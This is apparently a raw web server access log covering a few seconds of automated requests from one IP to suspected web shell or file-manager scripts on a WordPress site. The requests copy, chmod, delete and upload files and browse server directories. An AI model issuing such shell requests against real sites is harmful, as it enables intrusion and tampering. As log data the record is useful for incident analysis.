45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?dl=widgets.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /biotaiwan.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-tags.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-tags.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:15 -0400] "GET /thoms.php?chmod=install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?chmod=options-head.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustomize.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustomize.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?dl=media-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /biotaiwan.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?dl=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /biotaiwan.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmenu-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmenu-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?chmod=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /biotaiwan.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /biotaiwan.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:16 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:17 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/.well-known/ HTTP/1.1" 200 782 "https://163.245.207.76:443/biotaiwan.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?del=acme-challenge&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /thoms.php?chmod=acme-challenge&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:19 -0400] "GET /biotaiwan.com.tw/widget-transformer/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer%2F HTTP/1.1" 200 11137 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
